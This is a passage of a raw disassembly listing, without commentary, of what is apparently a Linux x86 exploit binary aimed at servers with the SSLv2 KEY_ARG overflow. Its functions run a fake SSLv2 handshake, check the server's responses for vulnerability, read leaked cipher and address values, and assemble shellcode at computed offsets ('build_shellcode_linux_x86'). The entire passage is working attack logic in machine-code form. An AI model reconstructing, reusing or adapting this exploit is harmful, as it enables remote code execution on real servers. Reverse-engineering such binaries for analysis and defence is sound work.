0xffffffe0(%ebp),%al 0804ae8c and $0xffffffff,%eax 0804ae8f mov %al,(%edx) 0804ae91 lea 0xffffffd8(%ebp),%eax 0804ae94 addl $0x2,(%eax) 0804ae97 mov 0xffffffe0(%ebp),%eax 0804ae9a add 0xffffffe4(%ebp),%eax 0804ae9d add $0xa,%eax 0804aea0 mov %eax,0xffffffdc(%ebp) 0804aea3 sub $0x4,%esp 0804aea6 pushl 0xffffffdc(%ebp) 0804aea9 lea 0xffffbfc8(%ebp),%eax 0804aeaf push %eax 0804aeb0 pushl 0x8(%ebp) 0804aeb3 call 0804a540 0804aeb8 add $0x10,%esp 0804aebb mov 0x8(%ebp),%eax 0804aebe movl $0x1,0x74(%eax) 0804aec5 mov $0x1,%eax Referenced from jump at 0804acb0 ; 0804ad52 ; 0804ad86 ; 0804ade3 ; 0804aeca lea 0xfffffff4(%ebp),%esp 0804aecd pop %ebx 0804aece pop %esi 0804aecf pop %edi 0804aed0 pop %ebp 0804aed1 ret 0804aed2 mov %esi,%esi ---- Function : generate_key_material ---- Referenced from call at 0804afcf ; 0804aed4 push %ebp 0804aed5 mov %esp,%ebp 0804aed7 sub $0x88,%esp 0804aedd movb $0x30,0xffffff83(%ebp) 0804aee1 mov 0x8(%ebp),%eax 0804aee4 add $0x24,%eax 0804aee7 mov %eax,0xffffff84(%ebp) 0804aeea movl $0x0,0xfffffff4(%ebp) 0804aef1 lea 0x0(%esi),%esi Referenced from jump at 0804af93 ; 0804aef4 cmpl $0x1f,0xfffffff4(%ebp) 0804aef8 jbe 0804af00 0804aefa jmp 0804af98 0804aeff nop Referenced from jump at 0804aef8 ; 0804af00 sub $0xc,%esp 0804af03 lea 0xffffff88(%ebp),%eax 0804af06 push %eax 0804af07 call 08048cec <_init+0x158> 0804af0c add $0x10,%esp 0804af0f sub $0x4,%esp 0804af12 push $0x10 0804af14 mov 0x8(%ebp),%eax 0804af17 add $0x14,%eax 0804af1a push %eax 0804af1b lea 0xffffff88(%ebp),%eax 0804af1e push %eax 0804af1f call 08048eac <_init+0x318> 0804af24 add $0x10,%esp 0804af27 sub $0x4,%esp 0804af2a push $0x1 0804af2c lea 0xffffff83(%ebp),%eax 0804af2f push %eax 0804af30 lea 0xffffff88(%ebp),%eax 0804af33 push %eax 0804af34 call 08048eac <_init+0x318> 0804af39 add $0x10,%esp 0804af3c lea 0xffffff83(%ebp),%eax 0804af3f incb (%eax) 0804af41 sub $0x4,%esp 0804af44 push $0x10 0804af46 mov 0x8(%ebp),%eax 0804af49 add $0x4,%eax 0804af4c push %eax 0804af4d lea 0xffffff88(%ebp),%eax 0804af50 push %eax 0804af51 call 08048eac <_init+0x318> 0804af56 add $0x10,%esp 0804af59 sub $0x4,%esp 0804af5c mov 0x8(%ebp),%eax 0804af5f pushl 0x44(%eax) 0804af62 mov 0x8(%ebp),%eax 0804af65 add $0x48,%eax 0804af68 push %eax 0804af69 lea 0xffffff88(%ebp),%eax 0804af6c push %eax 0804af6d call 08048eac <_init+0x318> 0804af72 add $0x10,%esp 0804af75 sub $0x8,%esp 0804af78 lea 0xffffff88(%ebp),%eax 0804af7b push %eax 0804af7c pushl 0xffffff84(%ebp) 0804af7f call 08048d4c <_init+0x1b8> 0804af84 add $0x10,%esp 0804af87 lea 0xffffff84(%ebp),%eax 0804af8a addl $0x10,(%eax) 0804af8d lea 0xfffffff4(%ebp),%eax 0804af90 addl $0x10,(%eax) 0804af93 jmp 0804aef4 Referenced from jump at 0804aefa ; 0804af98 leave 0804af99 ret 0804af9a mov %esi,%esi ---- Function : generate_session_keys ---- Referenced from call at 08049351 ; 080494be ; 0804af9c push %ebp 0804af9d mov %esp,%ebp 0804af9f sub $0x8,%esp 0804afa2 mov 0x8(%ebp),%eax 0804afa5 cmpl $0x0,0x7c(%eax) 0804afa9 je 0804afb0 0804afab jmp 0804b055 Referenced from jump at 0804afa9 ; 0804afb0 mov 0x8(%ebp),%eax 0804afb3 cmpl $0x0,0x78(%eax) 0804afb7 je 0804afc9 0804afb9 sub $0xc,%esp Possible reference to string: " -> generate_session_keys" 0804afbc push $0x804caef 0804afc1 call 08048d8c <_init+0x1f8> 0804afc6 add $0x10,%esp Referenced from jump at 0804afb7 ; 0804afc9 sub $0xc,%esp 0804afcc pushl 0x8(%ebp) 0804afcf call 0804aed4 0804afd4 add $0x10,%esp 0804afd7 mov 0x8(%ebp),%edx 0804afda mov 0x8(%ebp),%eax 0804afdd add $0x24,%eax 0804afe0 mov %eax,0x5c(%edx) 0804afe3 sub $0xc,%esp 0804afe6 push $0x408 0804afeb call 08048c8c <_init+0xf8> 0804aff0 add $0x10,%esp 0804aff3 mov %eax,%eax 0804aff5 mov %eax,%edx 0804aff7 mov 0x8(%ebp),%eax 0804affa mov %edx,0x64(%eax) 0804affd sub $0x4,%esp 0804b000 mov 0x8(%ebp),%eax 0804b003 pushl 0x5c(%eax) 0804b006 push $0x10 0804b008 mov 0x8(%ebp),%eax 0804b00b pushl 0x64(%eax) 0804b00e call 08048c4c <_init+0xb8> 0804b013 add $0x10,%esp 0804b016 mov 0x8(%ebp),%edx 0804b019 mov 0x8(%ebp),%eax 0804b01c add $0x34,%eax 0804b01f mov %eax,0x60(%edx) 0804b022 sub $0xc,%esp 0804b025 push $0x408 0804b02a call 08048c8c <_init+0xf8> 0804b02f add $0x10,%esp 0804b032 mov %eax,%eax 0804b034 mov %eax,%edx 0804b036 mov 0x8(%ebp),%eax 0804b039 mov %edx,0x68(%eax) 0804b03c sub $0x4,%esp 0804b03f mov 0x8(%ebp),%eax 0804b042 pushl 0x60(%eax) 0804b045 push $0x10 0804b047 mov 0x8(%ebp),%eax 0804b04a pushl 0x68(%eax) 0804b04d call 08048c4c <_init+0xb8> 0804b052 add $0x10,%esp Referenced from jump at 0804afab ; 0804b055 leave 0804b056 ret 0804b057 nop ---- Function : get_server_verify ---- Referenced from call at 0804935f ; 080494cc ; 0804b058 push %ebp 0804b059 mov %esp,%ebp 0804b05b sub $0x4018,%esp 0804b061 mov 0x8(%ebp),%eax 0804b064 cmpl $0x0,0x7c(%eax) 0804b068 je 0804b074 0804b06a mov $0x0,%eax 0804b06f jmp 0804b1c9 Referenced from jump at 0804b068 ; 0804b074 mov 0x8(%ebp),%eax 0804b077 cmpl $0x0,0x78(%eax) 0804b07b je 0804b08d 0804b07d sub $0xc,%esp Possible reference to string: " -> get_server_verify" 0804b080 push $0x804cb0a 0804b085 call 08048d8c <_init+0x1f8> 0804b08a add $0x10,%esp Referenced from jump at 0804b07b ; 0804b08d sub $0x4,%esp 0804b090 push $0x4000 0804b095 lea 0xffffbff8(%ebp),%eax 0804b09b push %eax 0804b09c pushl 0x8(%ebp) 0804b09f call 0804a2bc 0804b0a4 add $0x10,%esp 0804b0a7 mov %eax,%eax 0804b0a9 mov %eax,0xffffbff4(%ebp) 0804b0af cmpl $0x0,0xffffbff4(%ebp) 0804b0b6 jne 0804b108 0804b0b8 mov 0x8(%ebp),%eax 0804b0bb cmpl $0x1,0x7c(%eax) 0804b0bf jne 0804b0dc 0804b0c1 sub $0x8,%esp Possible reference to string: "Connection closed after KEY_ARG data was sent. Server is most likely not vulnerable." 0804b0c4 push $0x804cb40 0804b0c9 mov 0x8(%ebp),%eax 0804b0cc sub $0xffffff80,%eax 0804b0cf push %eax 0804b0d0 call 08048e6c <_init+0x2d8> 0804b0d5 add $0x10,%esp 0804b0d8 jmp 0804b0fc 0804b0da mov %esi,%esi Referenced from jump at 0804b0bf ; 0804b0dc mov 0x8(%ebp),%eax 0804b0df cmpl $0x3,0x7c(%eax) 0804b0e3 jne 0804b0fc 0804b0e5 sub $0x8,%esp Possible reference to string: " after KEY_ARG data was sent. Server is not vulnerable." 0804b0e8 push $0x804cba0 0804b0ed mov 0x8(%ebp),%eax 0804b0f0 sub $0xffffff80,%eax 0804b0f3 push %eax 0804b0f4 call 08048d7c <_init+0x1e8> 0804b0f9 add $0x10,%esp Referenced from jump at 0804b0d8 ; 0804b0e3 ; 0804b0fc mov $0x0,%eax 0804b101 jmp 0804b1c9 0804b106 mov %esi,%esi Referenced from jump at 0804b0b6 ; 0804b108 cmpl $0x11,0xffffbff4(%ebp) 0804b10f je 0804b13c 0804b111 mov 0x8(%ebp),%eax 0804b114 movl $0x2,0x7c(%eax) 0804b11b sub $0x8,%esp Possible reference to string: "get_server_verify: Malformed packet size" 0804b11e push $0x804cbe0 0804b123 mov 0x8(%ebp),%eax 0804b126 sub $0xffffff80,%eax 0804b129 push %eax 0804b12a call 08048e6c <_init+0x2d8> 0804b12f add $0x10,%esp 0804b132 mov $0x0,%eax 0804b137 jmp 0804b1c9 Referenced from jump at 0804b10f ; 0804b13c cmpb $0x5,0xffffbff8(%ebp) 0804b143 je 0804b178 0804b145 mov 0x8(%ebp),%eax 0804b148 movl $0x2,0x7c(%eax) 0804b14f sub $0x4,%esp 0804b152 movzbl 0xffffbff8(%ebp),%eax 0804b159 push %eax Possible reference to string: "get_server_verify: Expected SSL2_MT_SERVER_VERIFY, got 0x%02x" 0804b15a push $0x804cc20 0804b15f mov 0x8(%ebp),%eax 0804b162 sub $0xffffff80,%eax 0804b165 push %eax 0804b166 call 08048e6c <_init+0x2d8> 0804b16b add $0x10,%esp 0804b16e mov $0x0,%eax 0804b173 jmp 0804b1c9 0804b175 lea 0x0(%esi),%esi Referenced from jump at 0804b143 ; 0804b178 lea 0xffffbff8(%ebp),%eax 0804b17e inc %eax 0804b17f mov 0x8(%ebp),%edx 0804b182 add $0x4,%edx 0804b185 sub $0x4,%esp 0804b188 push $0x10 0804b18a push %eax 0804b18b push %edx 0804b18c call 08048d5c <_init+0x1c8> 0804b191 add $0x10,%esp 0804b194 mov %eax,%eax 0804b196 mov %eax,%eax 0804b198 test %eax,%eax 0804b19a je 0804b1c4 0804b19c mov 0x8(%ebp),%eax 0804b19f movl $0x2,0x7c(%eax) 0804b1a6 sub $0x8,%esp Possible reference to string: "get_server_verify: Challenge strings don't match" 0804b1a9 push $0x804cc60 0804b1ae mov 0x8(%ebp),%eax 0804b1b1 sub $0xffffff80,%eax 0804b1b4 push %eax 0804b1b5 call 08048e6c <_init+0x2d8> 0804b1ba add $0x10,%esp 0804b1bd mov $0x0,%eax 0804b1c2 jmp 0804b1c9 Referenced from jump at 0804b19a ; 0804b1c4 mov $0x1,%eax Referenced from jump at 0804b06f ; 0804b101 ; 0804b137 ; 0804b173 ; 0804b1c2 ; 0804b1c9 leave 0804b1ca ret 0804b1cb nop ---- Function : send_client_finished ---- Referenced from call at 0804936d ; 08049522 ; 0804b1cc push %ebp 0804b1cd mov %esp,%ebp 0804b1cf sub $0x4008,%esp 0804b1d5 mov 0x8(%ebp),%eax 0804b1d8 cmpl $0x0,0x7c(%eax) 0804b1dc je 0804b1e8 0804b1de mov $0x0,%eax 0804b1e3 jmp 0804b24a 0804b1e5 lea 0x0(%esi),%esi Referenced from jump at 0804b1dc ; 0804b1e8 mov 0x8(%ebp),%eax 0804b1eb cmpl $0x0,0x78(%eax) 0804b1ef je 0804b201 0804b1f1 sub $0xc,%esp Possible reference to string: " -> send_client_finished" 0804b1f4 push $0x804cc91 0804b1f9 call 08048d8c <_init+0x1f8> 0804b1fe add $0x10,%esp Referenced from jump at 0804b1ef ; 0804b201 movb $0x3,0xffffbff8(%ebp) 0804b208 sub $0x4,%esp 0804b20b mov 0x8(%ebp),%eax 0804b20e pushl 0x44(%eax) 0804b211 mov 0x8(%ebp),%eax 0804b214 add $0x48,%eax 0804b217 push %eax 0804b218 lea 0xffffbff8(%ebp),%eax 0804b21e inc %eax 0804b21f push %eax 0804b220 call 08048d9c <_init+0x208> 0804b225 add $0x10,%esp 0804b228 sub $0x4,%esp 0804b22b mov 0x8(%ebp),%eax 0804b22e mov 0x44(%eax),%eax 0804b231 inc %eax 0804b232 push %eax 0804b233 lea 0xffffbff8(%ebp),%eax 0804b239 push %eax 0804b23a pushl 0x8(%ebp) 0804b23d call 0804a540 0804b242 add $0x10,%esp 0804b245 mov $0x1,%eax Referenced from jump at 0804b1e3 ; 0804b24a leave 0804b24b ret ---- Function : get_server_finished ---- Referenced from call at 08049387 ; 0804b24c push %ebp 0804b24d mov %esp,%ebp 0804b24f sub $0x4018,%esp 0804b255 mov 0x8(%ebp),%eax 0804b258 cmpl $0x0,0x7c(%eax) 0804b25c je 0804b268 0804b25e mov $0x0,%eax 0804b263 jmp 0804b3df Referenced from jump at 0804b25c ; 0804b268 mov 0x8(%ebp),%eax 0804b26b cmpl $0x0,0x78(%eax) 0804b26f je 0804b281 0804b271 sub $0xc,%esp Possible reference to string: " -> get_server_finished" 0804b274 push $0x804ccab 0804b279 call 08048d8c <_init+0x1f8> 0804b27e add $0x10,%esp Referenced from jump at 0804b26f ; 0804b281 sub $0x4,%esp 0804b284 push $0x4000 0804b289 lea 0xffffbff8(%ebp),%eax 0804b28f push %eax 0804b290 pushl 0x8(%ebp) 0804b293 call 0804a2bc 0804b298 add $0x10,%esp 0804b29b mov %eax,%eax 0804b29d mov %eax,0xffffbff4(%ebp) 0804b2a3 cmpl $0x0,0xffffbff4(%ebp) 0804b2aa jne 0804b2fc 0804b2ac mov 0x8(%ebp),%eax 0804b2af cmpl $0x1,0x7c(%eax) 0804b2b3 jne 0804b2d0 0804b2b5 sub $0x8,%esp Possible reference to string: "Connection closed while waiting for the SERVER_FINISHED message. This was not supposed to happen." 0804b2b8 push $0x804cce0 0804b2bd mov 0x8(%ebp),%eax 0804b2c0 sub $0xffffff80,%eax 0804b2c3 push %eax 0804b2c4 call 08048e6c <_init+0x2d8> 0804b2c9 add $0x10,%esp 0804b2cc jmp 0804b2f0 0804b2ce mov %esi,%esi Referenced from jump at 0804b2b3 ; 0804b2d0 mov 0x8(%ebp),%eax 0804b2d3 cmpl $0x3,0x7c(%eax) 0804b2d7 jne 0804b2f0 0804b2d9 sub $0x8,%esp Possible reference to string: " while waiting for the SERVER_FINISHED message. This was not supposed to happen." 0804b2dc push $0x804cd60 0804b2e1 mov 0x8(%ebp),%eax 0804b2e4 sub $0xffffff80,%eax 0804b2e7 push %eax 0804b2e8 call 08048d7c <_init+0x1e8> 0804b2ed add $0x10,%esp Referenced from jump at 0804b2cc ; 0804b2d7 ; 0804b2f0 mov $0x0,%eax 0804b2f5 jmp 0804b3df 0804b2fa mov %esi,%esi Referenced from jump at 0804b2aa ; 0804b2fc cmpb $0x6,0xffffbff8(%ebp) 0804b303 je 0804b338 0804b305 mov 0x8(%ebp),%eax 0804b308 movl $0x2,0x7c(%eax) 0804b30f sub $0x4,%esp 0804b312 movzbl 0xffffbff8(%ebp),%eax 0804b319 push %eax Possible reference to string: "get_server_finished: Expected SSL2_MT_SERVER_FINISHED, got %02x" 0804b31a push $0x804cdc0 0804b31f mov 0x8(%ebp),%eax 0804b322 sub $0xffffff80,%eax 0804b325 push %eax 0804b326 call 08048e6c <_init+0x2d8> 0804b32b add $0x10,%esp 0804b32e mov $0x0,%eax 0804b333 jmp 0804b3df Referenced from jump at 0804b303 ; 0804b338 cmpl $0x0,0xc(%ebp) 0804b33c je 0804b3d6 0804b342 cmpl $0x1,0xffffbff4(%ebp) 0804b349 jne 0804b37c 0804b34b mov 0x8(%ebp),%eax 0804b34e movl $0x2,0x7c(%eax) 0804b355 sub $0x4,%esp 0804b358 mov 0xffffbff4(%ebp),%eax 0804b35e dec %eax 0804b35f push %eax Possible reference to string: "get_server_finished: Session data too short (%d bytes)" 0804b360 push $0x804ce00 0804b365 mov 0x8(%ebp),%eax 0804b368 sub $0xffffff80,%eax 0804b36b push %eax 0804b36c call 08048e6c <_init+0x2d8> 0804b371 add $0x10,%esp 0804b374 mov $0x0,%eax 0804b379 jmp 0804b3df 0804b37b nop Referenced from jump at 0804b349 ; 0804b37c mov 0xffffbff4(%ebp),%eax 0804b382 dec %eax 0804b383 cmp 0x10(%ebp),%eax 0804b386 jle 0804b3b8 0804b388 mov 0x8(%ebp),%eax 0804b38b movl $0x2,0x7c(%eax) 0804b392 sub $0x4,%esp 0804b395 mov 0xffffbff4(%ebp),%eax 0804b39b dec %eax 0804b39c push %eax Possible reference to string: "get_server_finished: Session data too long (%d bytes)" 0804b39d push $0x804ce40 0804b3a2 mov 0x8(%ebp),%eax 0804b3a5 sub $0xffffff80,%eax 0804b3a8 push %eax 0804b3a9 call 08048e6c <_init+0x2d8> 0804b3ae add $0x10,%esp 0804b3b1 mov $0x0,%eax 0804b3b6 jmp 0804b3df Referenced from jump at 0804b386 ; 0804b3b8 sub $0x4,%esp 0804b3bb mov 0xffffbff4(%ebp),%eax 0804b3c1 dec %eax 0804b3c2 push %eax 0804b3c3 lea 0xffffbff8(%ebp),%eax 0804b3c9 inc %eax 0804b3ca push %eax 0804b3cb pushl 0xc(%ebp) 0804b3ce call 08048d9c <_init+0x208> 0804b3d3 add $0x10,%esp Referenced from jump at 0804b33c ; 0804b3d6 mov 0xffffbff4(%ebp),%eax 0804b3dc dec %eax 0804b3dd mov %eax,%eax Referenced from jump at 0804b263 ; 0804b2f5 ; 0804b333 ; 0804b379 ; 0804b3b6 ; 0804b3df leave 0804b3e0 ret 0804b3e1 lea 0x0(%esi),%esi ---- Function : get_server_error ---- Referenced from call at 08049530 ; 0804b3e4 push %ebp 0804b3e5 mov %esp,%ebp 0804b3e7 sub $0x4018,%esp 0804b3ed mov 0x8(%ebp),%eax 0804b3f0 cmpl $0x0,0x7c(%eax) 0804b3f4 je 0804b400 0804b3f6 mov $0x0,%eax 0804b3fb jmp 0804b45c 0804b3fd lea 0x0(%esi),%esi Referenced from jump at 0804b3f4 ; 0804b400 mov 0x8(%ebp),%eax 0804b403 cmpl $0x0,0x78(%eax) 0804b407 je 0804b419 0804b409 sub $0xc,%esp Possible reference to string: " -> get_server_error" 0804b40c push $0x804ce76 0804b411 call 08048d8c <_init+0x1f8> 0804b416 add $0x10,%esp Referenced from jump at 0804b407 ; 0804b419 sub $0x4,%esp 0804b41c push $0x4000 0804b421 lea 0xffffbff8(%ebp),%eax 0804b427 push %eax 0804b428 pushl 0x8(%ebp) 0804b42b call 0804a2bc 0804b430 add $0x10,%esp 0804b433 mov %eax,%eax 0804b435 mov %eax,0xffffbff4(%ebp) 0804b43b cmpl $0x0,0xffffbff4(%ebp) 0804b442 jne 0804b457 0804b444 mov 0x8(%ebp),%eax 0804b447 cmpl $0x3,0x7c(%eax) 0804b44b jne 0804b457 0804b44d mov 0x8(%ebp),%eax 0804b450 movl $0x0,0x7c(%eax) Referenced from jump at 0804b442 ; 0804b44b ; 0804b457 mov $0x1,%eax Referenced from jump at 0804b3fb ; 0804b45c leave 0804b45d ret 0804b45e mov %esi,%esi ---- Function : get_cipher_linux_x86 ---- 0804b460 push %ebp 0804b461 mov %esp,%ebp 0804b463 sub $0x8,%esp 0804b466 cmpl $0x6f,0xc(%ebp) 0804b46a jg 0804b488 0804b46c sub $0xc,%esp Possible reference to string: "This server is not vulnerable to the attack." 0804b46f push $0x804cf40 0804b474 call 08048d8c <_init+0x1f8> 0804b479 add $0x10,%esp 0804b47c sub $0xc,%esp 0804b47f push $0x1 0804b481 call 08048dfc <_init+0x268> 0804b486 mov %esi,%esi Referenced from jump at 0804b46a ; 0804b488 mov 0x8(%ebp),%eax 0804b48b add $0x67,%eax 0804b48e movzbl (%eax),%eax 0804b491 mov %eax,%edx 0804b493 shl $0x18,%edx 0804b496 mov 0x8(%ebp),%eax 0804b499 add $0x66,%eax 0804b49c movzbl (%eax),%eax 0804b49f shl $0x10,%eax 0804b4a2 or %eax,%edx 0804b4a4 mov 0x8(%ebp),%eax 0804b4a7 add $0x65,%eax 0804b4aa movzbl (%eax),%eax 0804b4ad shl $0x8,%eax 0804b4b0 or %eax,%edx 0804b4b2 mov 0x8(%ebp),%eax 0804b4b5 add $0x64,%eax 0804b4b8 movzbl (%eax),%eax 0804b4bb or %edx,%eax 0804b4bd mov %eax,0xfffffffc(%ebp) 0804b4c0 mov 0xfffffffc(%ebp),%eax 0804b4c3 mov %eax,%eax 0804b4c5 leave 0804b4c6 ret 0804b4c7 nop ---- Function : get_ciphers_linux_x86 ---- 0804b4c8 push %ebp 0804b4c9 mov %esp,%ebp 0804b4cb sub $0x8,%esp 0804b4ce cmpl $0x6f,0xc(%ebp) 0804b4d2 jg 0804b4f0 0804b4d4 sub $0xc,%esp Possible reference to string: "This server is not vulnerable to the attack." 0804b4d7 push $0x804cf40 0804b4dc call 08048d8c <_init+0x1f8> 0804b4e1 add $0x10,%esp 0804b4e4 sub $0xc,%esp 0804b4e7 push $0x1 0804b4e9 call 08048dfc <_init+0x268> 0804b4ee mov %esi,%esi Referenced from jump at 0804b4d2 ; 0804b4f0 mov 0x8(%ebp),%eax 0804b4f3 add $0x6f,%eax 0804b4f6 movzbl (%eax),%eax 0804b4f9 mov %eax,%edx 0804b4fb shl $0x18,%edx 0804b4fe mov 0x8(%ebp),%eax 0804b501 add $0x6e,%eax 0804b504 movzbl (%eax),%eax 0804b507 shl $0x10,%eax 0804b50a or %eax,%edx 0804b50c mov 0x8(%ebp),%eax 0804b50f add $0x6d,%eax 0804b512 movzbl (%eax),%eax 0804b515 shl $0x8,%eax 0804b518 or %eax,%edx 0804b51a mov 0x8(%ebp),%eax 0804b51d add $0x6c,%eax 0804b520 movzbl (%eax),%eax 0804b523 or %edx,%eax 0804b525 mov %eax,0xfffffffc(%ebp) 0804b528 mov 0xfffffffc(%ebp),%eax 0804b52b mov %eax,%eax 0804b52d leave 0804b52e ret 0804b52f nop ---- Function : build_shellcode_linux_x86 ---- 0804b530 push %ebp 0804b531 mov %esp,%ebp 0804b533 sub $0x8,%esp 0804b536 sub $0x4,%esp 0804b539 push $0xd0 0804b53e push $0x804e1e0 0804b543 pushl 0x8(%ebp) 0804b546 call 08048d9c <_init+0x208> 0804b54b add $0x10,%esp 0804b54e sub $0x4,%esp 0804b551 push $0x41 0804b553 push $0x804e100 0804b558 mov 0x8(%ebp),%eax 0804b55b add $0xd0,%eax 0804b560 push %eax 0804b561 call 08048d9c <_init+0x208> 0804b566 add $0x10,%esp 0804b569 mov 0x8(%ebp),%edx 0804b56c add $0x9f,%edx 0804b572 mov 0x14(%ebp),%eax 0804b575 shr $0x18,%eax 0804b578 mov %al,(%edx) 0804b57a mov (%edx),%cl 0804b57c mov 0x8(%ebp),%edx 0804b57f add $0x9e,%edx 0804b585 mov 0x14(%ebp),%eax 0804b588 shr $0x10,%eax 0804b58b mov %al,(%edx) 0804b58d mov (%edx),%al 0804b58f or %eax,%ecx 0804b591 mov 0x8(%ebp),%edx 0804b594 add $0x9d,%edx 0804b59a mov 0x14(%ebp),%eax 0804b59d shr $0x8,%eax 0804b5a0 mov %al,(%edx) 0804b5a2 mov (%edx),%al 0804b5a4 or %eax,%ecx 0804b5a6 mov 0x8(%ebp),%edx 0804b5a9 add $0x9c,%edx 0804b5af mov 0x14(%ebp),%al 0804b5b2 mov %al,(%edx) 0804b5b4 mov (%edx),%al 0804b5b6 or %ecx,%eax 0804b5b8 test %al,%al 0804b5ba mov 0x18(%ebp),%eax 0804b5bd sub $0xc0,%eax 0804b5c2 mov %eax,0xfffffffc(%ebp) 0804b5c5 push $0xd0 0804b5ca pushl 0xfffffffc(%ebp) 0804b5cd pushl 0x18(%ebp) Possible reference to string: "ciphers: 0x%x start_addr: 0x%x SHELLCODE_OFS: %d" 0804b5d0 push $0x804cf80 0804b5d5 call 08048d8c <_init+0x1f8> 0804b5da add $0x10,%esp 0804b5dd mov 0x8(%ebp),%edx 0804b5e0 add $0xc3,%edx 0804b5e6 mov 0x1c(%ebp),%eax 0804b5e9 sub $0xc,%eax 0804b5ec shr $0x18,%eax 0804b5ef mov %al,(%edx) 0804b5f1 mov (%edx),%cl 0804b5f3 mov 0x8(%ebp),%edx 0804b5f6 add $0xc2,%edx 0804b5fc mov 0x1c(%ebp),%eax 0804b5ff sub $0xc,%eax 0804b602 shr $0x10,%eax 0804b605 mov %al,(%edx) 0804b607 mov (%edx),%al 0804b609 or %eax,%ecx 0804b60b mov 0x8(%ebp),%edx 0804b60e add $0xc1,%edx 0804b614 mov 0x1c(%ebp),%eax 0804b617 sub $0xc,%eax 0804b61a shr $0x8,%eax 0804b61d mov %al,(%edx) 0804b61f mov (%edx),%al 0804b621 or %eax,%ecx 0804b623 mov 0x8(%ebp),%edx 0804b626 add $0xc0,%edx 0804b62c mov 0x1c(%ebp),%al 0804b62f sub $0xc,%eax 0804b632 mov %al,(%edx) 0804b634 mov (%edx),%al 0804b636 or %ecx,%eax 0804b638 test %al,%al 0804b63a mov 0x8(%ebp),%edx 0804b63d add $0xc7,%edx 0804b643 mov 0xfffffffc(%ebp),%eax 0804b646 add $0xd0,%eax 0804b64b shr $0x18,%eax 0804b64e mov %al,(%edx) 0804b650 mov (%edx),%cl 0804b652 mov 0x8(%ebp),%edx 0804b655 add $0xc6,%edx 0804b65b mov 0xfffffffc(%ebp),%eax 0804b65e add $0xd0,%eax 0804b663 shr $0x10,%eax 0804b666 mov %al,(%edx) 0804b668 mov (%edx),%al 0804b66a or %eax,%ecx 0804b66c mov 0x8(%ebp),%edx 0804b66f add $0xc5,%edx 0804b675 mov 0xfffffffc(%ebp),%eax 0804b678 add $0xd0,%eax 0804b67d shr $0x8,%eax 0804b680 mov %al,(%edx) 0804b682 mov (%edx),%al 0804b684 or %eax,%ecx 0804b686 mov 0x8(%ebp),%edx 0804b689 add $0xc4,%edx 0804b68f mov 0xfffffffc(%ebp),%al 0804b692 add $0xd0,%eax 0804b697 mov %al,(%edx) 0804b699 mov (%edx),%al 0804b69b or %ecx,%eax 0804b69d test %al,%al 0804b69f mov $0x111,%eax 0804b6a4 leave 0804b6a5 ret 0804b6a6 mov %esi,%esi 0804b6a8 nop 0804b6a9 nop 0804b6aa nop 0804b6ab nop 0804b6ac nop 0804b6ad nop 0804b6ae nop 0804b6af nop ---- Function : __do_global_ctors_aux ---- 0804b6b0 <__do_global_ctors_aux> push %ebp 0804b6b1 <__do_global_ctors_aux+0x1> mov %esp,%ebp 0804b6b3 <__do_global_ctors_aux+0x3> push %ebx 0804b6b4 <__do_global_ctors_aux+0x4> sub $0x4,%esp 0804b6b7 <__do_global_ctors_aux+0x7> mov 0x804e304,%eax 0804b6bc <__do_global_ctors_aux+0xc> mov $0x804e304,%ebx 0804b6c1 <__do_global_ctors_aux+0x11> cmp $0xffffffff,%eax 0804b6c4 <__do_global_ctors_aux+0x14> je 0804b6dc <__do_global_ctors_aux+0x2c> 0804b6c6 <__do_global_ctors_aux+0x16> lea 0x0(%esi),%esi 0804b6c9 <__do_global_ctors_aux+0x19> lea 0x0(%edi,1),%edi Referenced from jump at 0804b6da ; 0804b6d0 <__do_global_ctors_aux+0x20> sub $0x4,%ebx 0804b6d3 <__do_global_ctors_aux+0x23> call *%eax 0804b6d5 <__do_global_ctors_aux+0x25> mov (%ebx),%eax 0804b6d7 <__do_global_ctors_aux+0x27> cmp $0xffffffff,%eax 0804b6da <__do_global_ctors_aux+0x2a> jne 0804b6d0 <__do_global_ctors_aux+0x20> Referenced from jump at 0804b6c4 ; 0804b6dc <__do_global_ctors_aux+0x2c> pop %eax 0804b6dd <__do_global_ctors_aux+0x2d> pop %ebx 0804b6de <__do_global_ctors_aux+0x2e> pop %ebp 0804b6df <__do_global_ctors_aux+0x2f> ret ---- Function : init_dummy ---- 0804b6e0 push %ebp 0804b6e1 mov %esp,%ebp 0804b6e3 sub $0x8,%esp 0804b6e6 mov %ebp,%esp 0804b6e8 pop %ebp 0804b6e9 ret 0804b6ea lea 0x0(%esi),%esi Disassembly of section .fini: ---- Function : _fini ---- 0804b6f0 <_fini> push %ebp 0804b6f1 <_fini+0x1> mov %esp,%ebp 0804b6f3 <_fini+0x3> push %ebx 0804b6f4 <_fini+0x4> push %edx 0804b6f5 <_fini+0x5> call 0804b6fa Referenced from call at 0804b6f5 ; 0804b6fa <_fini+0xa> pop %ebx 0804b6fb <_fini+0xb> add $0x2c1a,%ebx 0804b701 <_fini+0x11> lea 0x0(%esi),%esi 0804b704 <_fini+0x14> call 08048f30 <__do_global_dtors_aux> 0804b709 <_fini+0x19> mov 0xfffffffc(%ebp),%ebx 0804b70c <_fini+0x1c> leave 0804b70d <_fini+0x1d> ret